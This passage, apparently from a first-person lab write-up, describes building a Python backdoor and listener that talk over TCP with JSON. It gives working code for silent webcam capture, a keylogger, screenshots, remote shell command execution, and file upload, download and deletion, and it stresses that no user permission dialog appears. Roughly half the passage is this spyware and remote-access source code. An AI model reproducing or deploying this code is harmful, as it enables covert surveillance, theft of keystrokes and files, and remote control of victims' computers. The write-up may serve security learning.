

screenshots, and webcam images, to file transfer and keystroke logging.

The listener (attacker-side): This is a lightweight controller that listens on a socket, sends commands, and handles incoming data.

Both scripts communicated over TCP using JSON messages. Binary data like images or logs were base64-encoded to ensure safe transmission.

What could the backdoor do?

Webcam snapshot: Using OpenCV's 'cv2.VideoCapture(0)' interface, I captured a single frame from the target's webcam. This frame was encoded as a JPEG and transmitted silently back to the listener. No user interaction or permission dialogues appeared.

Keystroke sniffing: To log keys, I used the 'pynput' library, which allowed the payload to silently monitor and store all keystrokes. Logs were dumped only when requested by the operator.

Screenshots: For screen capture, 'pyautogui.screenshot()' was used. The image was saved to a buffer, encoded, and sent across the network just like the webcam image.

File upload and download: Basic file transfers were implemented using base64 encoding. Files could be sent to or retrieved from the target machine using simple commands. Commands to change directories or delete files were also added for completeness.

```

72
73 def webcam_snap():
74     try:
75         cam = cv2.VideoCapture(0)
76         if not cam.isOpened():
77             return "[-] Webcam not accessible."
78         ret, frame = cam.read()
79         cam.release()
80         if not ret:
81             return "[-] Failed to capture image."
82         _, buffer = cv2.imencode('.jpg', frame)
83         return base64.b64encode(buffer.tobytes()).decode()
84     except Exception as e:
85         return str(e)
86

```

Figure 1: Webcam capture code snippet

```

110 # Keylogger
111 def on_press(key):
112     global log
113     try:
114         log += key.char
115     except AttributeError:
116         if key == key.space:
117             log += " "
118         else:
119             log += f"[{key}] "
120
121 def start_keylogger():
122     listener = keyboard.Listener(on_press=on_press)
123     listener.start()

```

Figure 2: Keystroke capture code snippet

```

87 def screenshot():
88     try:
89         img = pyautogui.screenshot()
90         buffer = BytesIO()
91         img.save(buffer, format="JPEG")
92         return base64.b64encode(buffer.getvalue()).decode()
93     except Exception as e:
94         return str(e)

```

Figure 3: Screenshot functionality code snippet

```

38 def execute_system_command(command):
39     try:
40         return subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL).decode()
41     except subprocess.CalledProcessError as e:
42         return str(e)
43
44 def change_directory(path):
45     try:
46         os.chdir(path)
47         return f"[+] Changed directory to {path}"
48     except Exception as e:
49         return str(e)
50
51 def read_file(path):
52     try:
53         with open(path, "rb") as file:
54             return base64.b64encode(file.read()).decode()
55     except Exception as e:
56         return str(e)
57
58 def write_file(path, content):
59     try:
60         with open(path, "wb") as file:
61             file.write(base64.b64decode(content))
62         return "[+] Upload successful."
63     except Exception as e:
64         return str(e)
65
66 def delete_file(path):
67     try:
68         os.remove(path)
69         return "[+] File deleted."
70     except Exception as e:
71         return str(e)
72

```

Figure 4: Upload and download commands code snippet